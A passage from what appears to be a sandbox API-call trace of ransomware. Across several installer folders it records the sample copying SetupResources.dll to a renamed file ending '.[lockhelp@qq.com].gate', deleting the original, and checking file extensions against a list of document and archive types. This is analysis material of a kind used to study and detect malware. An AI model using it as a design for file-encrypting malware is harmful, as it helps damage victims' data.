lpNewFilePointer=0x0) returned 1 [0110.768] SetFilePointerEx (in: hFile=0x328, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fefec0 | out: lpNewFilePointer=0x0) returned 1 [0110.768] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1035\\SetupResources.dll.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\588bce7c90097ed212\\1035\\setupresources.dll.id-b4197730.[lockhelp@qq.com].gate"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e0 [0110.773] GetLastError () returned 0x0 [0110.774] ReadFile (in: hFile=0x328, lpBuffer=0x3ae1020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fefecc, lpOverlapped=0x0 | out: lpBuffer=0x3ae1020*, lpNumberOfBytesRead=0x2fefecc*=0x4758, lpOverlapped=0x0) returned 1 [0110.779] WriteFile (in: hFile=0x2e0, lpBuffer=0x3ae1020*, nNumberOfBytesToWrite=0x4760, lpNumberOfBytesWritten=0x2fefc94, lpOverlapped=0x0 | out: lpBuffer=0x3ae1020*, lpNumberOfBytesWritten=0x2fefc94*=0x4760, lpOverlapped=0x0) returned 1 [0110.780] ReadFile (in: hFile=0x328, lpBuffer=0x3ae1020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fefecc, lpOverlapped=0x0 | out: lpBuffer=0x3ae1020*, lpNumberOfBytesRead=0x2fefecc*=0x0, lpOverlapped=0x0) returned 1 [0110.780] WriteFile (in: hFile=0x2e0, lpBuffer=0x3ae1020*, nNumberOfBytesToWrite=0xf8, lpNumberOfBytesWritten=0x2fefc94, lpOverlapped=0x0 | out: lpBuffer=0x3ae1020*, lpNumberOfBytesWritten=0x2fefc94*=0xf8, lpOverlapped=0x0) returned 1 [0110.780] SetEndOfFile (hFile=0x2e0) returned 1 [0110.780] CloseHandle (hObject=0x2e0) returned 1 [0110.781] SetFilePointerEx (in: hFile=0x328, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fefec0 | out: lpNewFilePointer=0x0) returned 1 [0110.781] SetEndOfFile (hFile=0x328) returned 1 [0110.782] CloseHandle (hObject=0x328) returned 1 [0110.782] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1035\\SetupResources.dll.id-B4197730.[lockhelp@qq.com].gate", dwFileAttributes=0x80) returned 1 [0110.782] DeleteFileW (lpFileName="C:\\588bce7c90097ed212\\1035\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\1035\\setupresources.dll")) returned 1 [0110.782] lstrlenW (lpString="C:\\588bce7c90097ed212\\1035\\SetupResources.dll") returned 45 [0110.782] lstrlenW (lpString="C:\\588bce7c90097ed212\\1035\\SetupResources.dll") returned 45 [0110.782] lstrlenW (lpString=".doc") returned 4 [0110.782] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0110.783] lstrlenW (lpString=".docx") returned 5 [0110.783] lstrcmpiW (lpString1=".docx", lpString2="s.dll") returned -1 [0110.783] lstrlenW (lpString=".pdf") returned 4 [0110.783] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0110.783] lstrlenW (lpString=".xls") returned 4 [0110.783] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0110.783] lstrlenW (lpString=".xlsx") returned 5 [0110.783] lstrcmpiW (lpString1=".xlsx", lpString2="s.dll") returned -1 [0110.783] lstrlenW (lpString=".ppt") returned 4 [0110.783] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0110.783] lstrlenW (lpString="C:\\588bce7c90097ed212\\1035\\SetupResources.dll") returned 45 [0110.783] lstrlenW (lpString=".zip") returned 4 [0110.783] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0110.783] lstrlenW (lpString=".rar") returned 4 [0110.783] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0110.783] lstrlenW (lpString=".bz2") returned 4 [0110.783] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0110.783] lstrlenW (lpString=".7z") returned 3 [0110.783] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0110.783] lstrlenW (lpString="C:\\588bce7c90097ed212\\1035\\SetupResources.dll") returned 45 [0110.783] lstrlenW (lpString=".dbf") returned 4 [0110.783] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0110.783] lstrlenW (lpString="C:\\588bce7c90097ed212\\1035\\SetupResources.dll") returned 45 [0110.783] lstrlenW (lpString=".1cd") returned 4 [0110.783] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0110.783] lstrlenW (lpString="C:\\588bce7c90097ed212\\1035\\SetupResources.dll") returned 45 [0110.783] lstrlenW (lpString=".jpg") returned 4 [0110.783] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0110.783] lstrlenW (lpString="C:\\588bce7c90097ed212\\1035\\SetupResources.dll") returned 45 [0110.783] lstrlenW (lpString="C:\\588bce7c90097ed212\\1035\\SetupResources.dll") returned 45 [0110.783] lstrlenW (lpString=".doc") returned 4 [0110.783] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0110.783] lstrlenW (lpString=".docx") returned 5 [0110.783] lstrcmpiW (lpString1=".docx", lpString2="s.dll") returned -1 [0110.783] lstrlenW (lpString=".pdf") returned 4 [0110.784] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0110.784] lstrlenW (lpString=".xls") returned 4 [0110.784] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0110.784] lstrlenW (lpString=".xlsx") returned 5 [0110.784] lstrcmpiW (lpString1=".xlsx", lpString2="s.dll") returned -1 [0110.784] lstrlenW (lpString=".ppt") returned 4 [0110.784] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0110.784] lstrlenW (lpString="C:\\588bce7c90097ed212\\1035\\SetupResources.dll") returned 45 [0110.784] lstrlenW (lpString=".zip") returned 4 [0110.784] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0110.784] lstrlenW (lpString=".rar") returned 4 [0110.784] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0110.784] lstrlenW (lpString=".bz2") returned 4 [0110.784] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0110.784] lstrlenW (lpString=".7z") returned 3 [0110.784] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0110.784] lstrlenW (lpString="C:\\588bce7c90097ed212\\1035\\SetupResources.dll") returned 45 [0110.784] lstrlenW (lpString=".dbf") returned 4 [0110.784] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0110.784] lstrlenW (lpString="C:\\588bce7c90097ed212\\1035\\SetupResources.dll") returned 45 [0110.784] lstrlenW (lpString=".1cd") returned 4 [0110.784] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0110.784] lstrlenW (lpString="C:\\588bce7c90097ed212\\1035\\SetupResources.dll") returned 45 [0110.784] lstrlenW (lpString=".jpg") returned 4 [0110.784] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0110.784] lstrcmpiW (lpString1=".dll", lpString2=".gate") returned -1 [0110.784] lstrlenW (lpString="SetupResources.dll") returned 18 [0110.784] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1036\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\1036\\setupresources.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x328 [0110.785] GetFileSizeEx (in: hFile=0x328, lpFileSize=0x2feff14 | out: lpFileSize=0x2feff14*=18776) returned 1 [0110.785] CloseHandle (hObject=0x328) returned 1 [0110.785] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1036\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\1036\\setupresources.dll")) returned 0x80 [0110.785] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1036\\SetupResources.dll.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\588bce7c90097ed212\\1036\\setupresources.dll.id-b4197730.[lockhelp@qq.com].gate")) returned 0xffffffff [0110.785] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1036\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\1036\\setupresources.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x328 [0110.785] SetFilePointerEx (in: hFile=0x328, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fefec0 | out: lpNewFilePointer=0x0) returned 1 [0110.785] SetFilePointerEx (in: hFile=0x328, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fefec0 | out: lpNewFilePointer=0x0) returned 1 [0110.785] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1036\\SetupResources.dll.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\588bce7c90097ed212\\1036\\setupresources.dll.id-b4197730.[lockhelp@qq.com].gate"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e0 [0110.787] GetLastError () returned 0x0 [0110.787] ReadFile (in: hFile=0x328, lpBuffer=0x3ae1020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fefecc, lpOverlapped=0x0 | out: lpBuffer=0x3ae1020*, lpNumberOfBytesRead=0x2fefecc*=0x4958, lpOverlapped=0x0) returned 1 [0110.810] WriteFile (in: hFile=0x2e0, lpBuffer=0x3ae1020*, nNumberOfBytesToWrite=0x4960, lpNumberOfBytesWritten=0x2fefc94, lpOverlapped=0x0 | out: lpBuffer=0x3ae1020*, lpNumberOfBytesWritten=0x2fefc94*=0x4960, lpOverlapped=0x0) returned 1 [0110.811] ReadFile (in: hFile=0x328, lpBuffer=0x3ae1020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fefecc, lpOverlapped=0x0 | out: lpBuffer=0x3ae1020*, lpNumberOfBytesRead=0x2fefecc*=0x0, lpOverlapped=0x0) returned 1 [0110.811] WriteFile (in: hFile=0x2e0, lpBuffer=0x3ae1020*, nNumberOfBytesToWrite=0xf8, lpNumberOfBytesWritten=0x2fefc94, lpOverlapped=0x0 | out: lpBuffer=0x3ae1020*, lpNumberOfBytesWritten=0x2fefc94*=0xf8, lpOverlapped=0x0) returned 1 [0110.811] SetEndOfFile (hFile=0x2e0) returned 1 [0110.812] CloseHandle (hObject=0x2e0) returned 1 [0110.813] SetFilePointerEx (in: hFile=0x328, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fefec0 | out: lpNewFilePointer=0x0) returned 1 [0110.813] SetEndOfFile (hFile=0x328) returned 1 [0110.814] CloseHandle (hObject=0x328) returned 1 [0110.814] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1036\\SetupResources.dll.id-B4197730.[lockhelp@qq.com].gate", dwFileAttributes=0x80) returned 1 [0110.814] DeleteFileW (lpFileName="C:\\588bce7c90097ed212\\1036\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\1036\\setupresources.dll")) returned 1 [0110.815] lstrlenW (lpString="C:\\588bce7c90097ed212\\1036\\SetupResources.dll") returned 45 [0110.815] lstrlenW (lpString="C:\\588bce7c90097ed212\\1036\\SetupResources.dll") returned 45 [0110.815] lstrlenW (lpString=".doc") returned 4 [0110.815] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0110.815] lstrlenW (lpString=".docx") returned 5 [0110.815] lstrcmpiW (lpString1=".docx", lpString2="s.dll") returned -1 [0110.815] lstrlenW (lpString=".pdf") returned 4 [0110.815] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0110.815] lstrlenW (lpString=".xls") returned 4 [0110.815] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0110.815] lstrlenW (lpString=".xlsx") returned 5 [0110.815] lstrcmpiW (lpString1=".xlsx", lpString2="s.dll") returned -1 [0110.815] lstrlenW (lpString=".ppt") returned 4 [0110.815] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0110.815] lstrlenW (lpString="C:\\588bce7c90097ed212\\1036\\SetupResources.dll") returned 45 [0110.815] lstrlenW (lpString=".zip") returned 4 [0110.815] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0110.815] lstrlenW (lpString=".rar") returned 4 [0110.815] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0110.815] lstrlenW (lpString=".bz2") returned 4 [0110.815] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0110.815] lstrlenW (lpString=".7z") returned 3 [0110.815] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0110.815] lstrlenW (lpString="C:\\588bce7c90097ed212\\1036\\SetupResources.dll") returned 45 [0110.815] lstrlenW (lpString=".dbf") returned 4 [0110.815] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0110.815] lstrlenW (lpString="C:\\588bce7c90097ed212\\1036\\SetupResources.dll") returned 45 [0110.815] lstrlenW (lpString=".1cd") returned 4 [0110.816] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0110.816] lstrlenW (lpString="C:\\588bce7c90097ed212\\1036\\SetupResources.dll") returned 45 [0110.816] lstrlenW (lpString=".jpg") returned 4 [0110.816] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0110.816] lstrlenW (lpString="C:\\588bce7c90097ed212\\1036\\SetupResources.dll") returned 45 [0110.816] lstrlenW (lpString="C:\\588bce7c90097ed212\\1036\\SetupResources.dll") returned 45 [0110.816] lstrlenW (lpString=".doc") returned 4 [0110.816] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0110.816] lstrlenW (lpString=".docx") returned 5 [0110.816] lstrcmpiW (lpString1=".docx", lpString2="s.dll") returned -1 [0110.816] lstrlenW (lpString=".pdf") returned 4 [0110.816] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0110.816] lstrlenW (lpString=".xls") returned 4 [0110.816] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0110.816] lstrlenW (lpString=".xlsx") returned 5 [0110.816] lstrcmpiW (lpString1=".xlsx", lpString2="s.dll") returned -1 [0110.816] lstrlenW (lpString=".ppt") returned 4 [0110.817] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0110.817] lstrlenW (lpString="C:\\588bce7c90097ed212\\1036\\SetupResources.dll") returned 45 [0110.817] lstrlenW (lpString=".zip") returned 4 [0110.817] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0110.817] lstrlenW (lpString=".rar") returned 4 [0110.817] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0110.817] lstrlenW (lpString=".bz2") returned 4 [0110.817] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0110.817] lstrlenW (lpString=".7z") returned 3 [0110.817] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0110.817] lstrlenW (lpString="C:\\588bce7c90097ed212\\1036\\SetupResources.dll") returned 45 [0110.817] lstrlenW (lpString=".dbf") returned 4 [0110.817] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0110.817] lstrlenW (lpString="C:\\588bce7c90097ed212\\1036\\SetupResources.dll") returned 45 [0110.817] lstrlenW (lpString=".1cd") returned 4 [0110.817] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0110.817] lstrlenW (lpString="C:\\588bce7c90097ed212\\1036\\SetupResources.dll") returned 45 [0110.817] lstrlenW (lpString=".jpg") returned 4 [0110.817] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0110.817] lstrcmpiW (lpString1=".dll", lpString2=".gate") returned -1 [0110.817] lstrlenW (lpString="SetupResources.dll") returned 18 [0110.817] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1038\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\1038\\setupresources.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x32c [0110.828] GetFileSizeEx (in: hFile=0x32c, lpFileSize=0x2feff14 | out: lpFileSize=0x2feff14*=18776) returned 1 [0110.828] CloseHandle (hObject=0x32c) returned 1 [0110.828] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1038\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\1038\\setupresources.dll")) returned 0x80 [0110.828] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1038\\SetupResources.dll.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\588bce7c90097ed212\\1038\\setupresources.dll.id-b4197730.[lockhelp@qq.com].gate")) returned 0xffffffff [0110.828] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1038\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\1038\\setupresources.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x32c [0110.828] SetFilePointerEx (in: hFile=0x32c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fefec0 | out: lpNewFilePointer=0x0) returned 1 [0110.828] SetFilePointerEx (in: hFile=0x32c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fefec0 | out: lpNewFilePointer=0x0) returned 1 [0110.828] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1038\\SetupResources.dll.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\588bce7c90097ed212\\1038\\setupresources.dll.id-b4197730.[lockhelp@qq.com].gate"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x320 [0110.835] GetLastError () returned 0x0 [0110.835] ReadFile (in: hFile=0x32c, lpBuffer=0x3ae1020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fefecc, lpOverlapped=0x0 | out: lpBuffer=0x3ae1020*, lpNumberOfBytesRead=0x2fefecc*=0x4958, lpOverlapped=0x0) returned 1 [0110.941] WriteFile (in: hFile=0x320, lpBuffer=0x3ae1020*, nNumberOfBytesToWrite=0x4960, lpNumberOfBytesWritten=0x2fefc94, lpOverlapped=0x0 | out: lpBuffer=0x3ae1020*, lpNumberOfBytesWritten=0x2fefc94*=0x4960, lpOverlapped=0x0) returned 1 [0110.942] ReadFile (in: hFile=0x32c, lpBuffer=0x3ae1020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fefecc, lpOverlapped=0x0 | out: lpBuffer=0x3ae1020*, lpNumberOfBytesRead=0x2fefecc*=0x0, lpOverlapped=0x0) returned 1 [0110.942] WriteFile (in: hFile=0x320, lpBuffer=0x3ae1020*, nNumberOfBytesToWrite=0xf8, lpNumberOfBytesWritten=0x2fefc94, lpOverlapped=0x0 | out: lpBuffer=0x3ae1020*, lpNumberOfBytesWritten=0x2fefc94*=0xf8, lpOverlapped=0x0) returned 1 [0110.942] SetEndOfFile (hFile=0x320) returned 1 [0110.942] CloseHandle (hObject=0x320) returned 1 [0110.944] SetFilePointerEx (in: hFile=0x32c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fefec0 | out: lpNewFilePointer=0x0) returned 1 [0110.944] SetEndOfFile (hFile=0x32c) returned 1 [0110.945] CloseHandle (hObject=0x32c) returned 1 [0110.945] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1038\\SetupResources.dll.id-B4197730.[lockhelp@qq.com].gate", dwFileAttributes=0x80) returned 1 [0110.945] DeleteFileW (lpFileName="C:\\588bce7c90097ed212\\1038\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\1038\\setupresources.dll")) returned 1 [0110.946] lstrlenW (lpString="C:\\588bce7c90097ed212\\1038\\SetupResources.dll") returned 45 [0110.946] lstrlenW (lpString="C:\\588bce7c90097ed212\\1038\\SetupResources.dll") returned 45 [0110.946] lstrlenW (lpString=".doc") returned 4 [0110.946] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0110.946] lstrlenW (lpString=".docx") returned 5 [0110.946] lstrcmpiW (lpString1=".docx", lpString2="s.dll") returned -1 [0110.946] lstrlenW (lpString=".pdf") returned 4 [0110.946] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0110.946] lstrlenW (lpString=".xls") returned 4 [0110.946] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0110.946] lstrlenW (lpString=".xlsx") returned 5 [0110.946] lstrcmpiW (lpString1=".xlsx", lpString2="s.dll") returned -1 [0110.946] lstrlenW (lpString=".ppt") returned 4 [0110.946] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0110.946] lstrlenW (lpString="C:\\588bce7c90097ed212\\1038\\SetupResources.dll") returned 45 [0110.946] lstrlenW (lpString=".zip") returned 4 [0110.947] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0110.947] lstrlenW (lpString=".rar") returned 4 [0110.947] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0110.947] lstrlenW (lpString=".bz2") returned 4 [0110.947] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0110.947] lstrlenW (lpString=".7z") returned 3 [0110.947] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0110.947] lstrlenW (lpString="C:\\588bce7c90097ed212\\1038\\SetupResources.dll") returned 45 [0110.947] lstrlenW (lpString=".dbf") returned 4 [0110.947] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0110.947] lstrlenW (lpString="C:\\588bce7c90097ed212\\1038\\SetupResources.dll") returned 45 [0110.947] lstrlenW (lpString=".1cd") returned 4 [0110.947] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0110.947] lstrlenW (lpString="C:\\588bce7c90097ed212\\1038\\SetupResources.dll") returned 45 [0110.947] lstrlenW (lpString=".jpg") returned 4 [0110.947] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0110.947] lstrlenW (lpString="C:\\588bce7c90097ed212\\1038\\SetupResources.dll") returned 45 [0110.947] lstrlenW (lpString="C:\\588bce7c90097ed212\\1038\\SetupResources.dll") returned 45 [0110.947] lstrlenW (lpString=".doc") returned 4 [0110.947] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0110.947] lstrlenW (lpString=".docx") returned 5 [0110.947] lstrcmpiW (lpString1=".docx", lpString2="s.dll") returned -1 [0110.947] lstrlenW (lpString=".pdf") returned 4 [0110.947] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0110.948] lstrlenW (lpString=".xls") returned 4 [0110.948] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0110.948] lstrlenW (lpString=".xlsx") returned 5 [0110.948] lstrcmpiW (lpString1=".xlsx", lpString2="s.dll") returned -1 [0110.948] lstrlenW (lpString=".ppt") returned 4 [0110.948] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0110.948] lstrlenW (lpString="C:\\588bce7c90097ed212\\1038\\SetupResources.dll") returned 45 [0110.948] lstrlenW (lpString=".zip") returned 4 [0110.948] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0110.948] lstrlenW (lpString=".rar") returned 4 [0110.948] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0110.948] lstrlenW (lpString=".bz2") returned 4 [0110.948] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0110.948] lstrlenW (lpString=".7z") returned 3 [0110.948] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0110.948] lstrlenW (lpString="C:\\588bce7c90097ed212\\1038\\SetupResources.dll") returned 45 [0110.948] lstrlenW (lpString=".dbf") returned 4 [0110.948] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0110.949] lstrlenW (lpString="C:\\588bce7c90097ed212\\1038\\SetupResources.dll") returned 45 [0110.949] lstrlenW (lpString=".1cd") returned 4 [0110.949] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0110.949] lstrlenW (lpString="C:\\588bce7c90097ed212\\1038\\SetupResources.dll") returned 45 [0110.949] lstrlenW (lpString=".jpg") returned 4 [0110.949] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0110.949] lstrcmpiW (lpString1=".dll", lpString2=".gate") returned -1 [0110.949] lstrlenW (lpString="SetupResources.dll") returned 18 [0110.949] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1042\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\1042\\setupresources.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x32c [0110.949] GetFileSizeEx (in: hFile=0x32c, lpFileSize=0x2feff14 | out: lpFileSize=0x2feff14*=15192) returned 1 [0110.949] CloseHandle (hObject=0x32c) returned 1 [0110.949] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1042\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\1042\\setupresources.dll")) returned 0x80 [0110.950] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1042\\SetupResources.dll.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\588bce7c90097ed212\\1042\\setupresources.dll.id-b4197730.[lockhelp@qq.com].gate")) returned 0xffffffff [0110.950] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1042\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\1042\\setupresources.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x32c [0110.950] SetFilePointerEx (in: hFile=0x32c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fefec0 | out: lpNewFilePointer=0x0) returned 1 [0110.950] SetFilePointerEx (in: hFile=0x32c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fefec0 | out: lpNewFilePointer=0x0) returned 1 [0110.950] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1042\\SetupResources.dll.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\588bce7c90097ed212\\1042\\setupresources.dll.id-b4197730.[lockhelp@qq.com].gate"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e0 [0110.962] GetLastError () returned 0x0 [0110.962] ReadFile (in: hFile=0x32c, lpBuffer=0x3ae1020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fefecc, lpOverlapped=0x0 | out: lpBuffer=0x3ae1020*, lpNumberOfBytesRead=0x2fefecc*=0x3b58, lpOverlapped=0x0) returned 1 [0111.006] WriteFile (in: hFile=0x2e0, lpBuffer=0x3ae1020*, nNumberOfBytesToWrite=0x3b60, lpNumberOfBytesWritten=0x2fefc94, lpOverlapped=0x0 | out: lpBuffer=0x3ae1020*, lpNumberOfBytesWritten=0x2fefc94*=0x3b60, lpOverlapped=0x0) returned 1 [0111.007] ReadFile (in: hFile=0x32c, lpBuffer=0x3ae1020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fefecc, lpOverlapped=0x0 | out: lpBuffer=0x3ae1020*, lpNumberOfBytesRead=0x2fefecc*=0x0, lpOverlapped=0x0) returned 1 [0111.007] WriteFile (in: hFile=0x2e0, lpBuffer=0x3ae1020*, nNumberOfBytesToWrite=0xf8, lpNumberOfBytesWritten=0x2fefc94, lpOverlapped=0x0 | out: lpBuffer=0x3ae1020*, lpNumberOfBytesWritten=0x2fefc94*=0xf8, lpOverlapped=0x0) returned 1 [0111.007] SetEndOfFile (hFile=0x2e0) returned 1 [0111.007] CloseHandle (hObject=0x2e0) returned 1 [0111.010] SetFilePointerEx (in: hFile=0x32c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fefec0 | out: lpNewFilePointer=0x0) returned 1 [0111.010] SetEndOfFile (hFile=0x32c) returned 1 [0111.011] CloseHandle (hObject=0x32c) returned 1 [0111.011] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1042\\SetupResources.dll.id-B4197730.[lockhelp@qq.com].gate", dwFileAttributes=0x80) returned 1 [0111.012] DeleteFileW (lpFileName="C:\\588bce7c90097ed212\\1042\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\1042\\setupresources.dll")) returned 1 [0111.012] lstrlenW (lpString="C:\\588bce7c90097ed212\\1042\\SetupResources.dll") returned 45 [0111.012] lstrlenW (lpString="C:\\588bce7c90097ed212\\1042\\SetupResources.dll") returned 45 [0111.012] lstrlenW (lpString=".doc") returned 4 [0111.012] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0111.012] lstrlenW (lpString=".docx") returned 5 [0111.012] 